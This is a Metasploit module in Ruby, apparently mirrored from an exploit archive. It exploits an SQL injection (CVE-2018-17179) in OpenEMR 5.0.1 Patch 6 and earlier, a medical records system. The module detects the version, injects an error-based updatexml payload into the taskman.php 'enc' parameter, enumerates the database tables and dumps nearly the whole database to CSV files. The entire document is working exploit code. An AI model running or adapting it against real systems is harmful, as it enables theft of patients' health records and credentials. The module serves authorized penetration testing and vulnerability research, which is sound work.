## https://sploitus.com/exploit?id=PACKETSTORM:180735
require 'csv'
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
'Description' => '
This module exploits a SQLi vulnerability found in
OpenEMR version 5.0.1 Patch 6 and lower. The
vulnerability allows the contents of the entire
database (with exception of log and task tables) to be
extracted.
This module saves each table as a `.csv` file in your
loot directory and has been tested with
OpenEMR 5.0.1 (3).
',
'License' => MSF_LICENSE,
'Author' =>
[
'Will Porter <will.porter[at]lodestonesecurity.com>'
],
'References' => [
['CVE', '2018-17179'],
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
],
'DisclosureDate' => '2019-05-17'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
]
)
end
def uri
target_uri.path
end
def openemr_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri, 'admin.php')
)
vprint_status("admin.php response code: #{res.code}")
document = Nokogiri::HTML(res.body)
document.css('tr')[1].css('td')[3].text
rescue StandardError
''
end
def check
# Check version
print_status('Trying to detect installed version')
version = openemr_version
return Exploit::CheckCode::Unknown if version.empty?
vprint_status("Version #{version} detected")
version.sub! ' (', '.'
version.sub! ')', ''
version.strip!
return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')
Exploit::CheckCode::Appears
end
def get_response(payload)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
'vars_get' => {
'action' => 'make_task',
'from_id' => '1',
'to_id' => '1',
'pid' => '1',
'doc_type' => '1',
'doc_id' => '1',
'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
}
)
end
def save_csv(data, table)
# Use the same gsub pattern as store_loot
# this will put the first 8 safe characters of the tablename
# in the filename in the loot directory
safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')
store_loot(
"openemr.#{safe_table}.dump",
'application/CSV',
rhost,
data.map(&:to_csv).join,
"#{safe_table}.csv"
)
end
def dump_all
sqli_opts = {
truncation_length: 31, # slices of 31 bytes of the query response are returned
encoder: :base64, # the web application messes up multibyte characters, better encode
verbose: datastore['VERBOSE']
}
sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
res = get_response(payload)
if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])
response
else
''
end
end
unless sqli.test_vulnerable
fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'
end
print_good 'The target seems vulnerable.'
db_version = sqli.version
print_status("DB Version: #{db_version}")
print_status('Enumerating tables, this may take a moment...')
tables = sqli.enum_table_names
num_tables = tables.length
print_status("Identified #{num_tables} tables.")
# These tables are impossible to fetch because they increase each request
skiptables = %w[form_taskman log log_comment_encrypt]
# large table containing text in different languages, >4mb in size
skiptables << 'lang_definitions'
tables.each_with_index do |table, i|
if skiptables.include?(table)
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
else
columns_of_table = sqli.enum_table_columns(table)
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")
table_data = sqli.dump_table_fields(table, columns_of_table)
table_data.unshift(columns_of_table)
save_csv(table_data, table)
end
end
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
end
def run
dump_all
end
end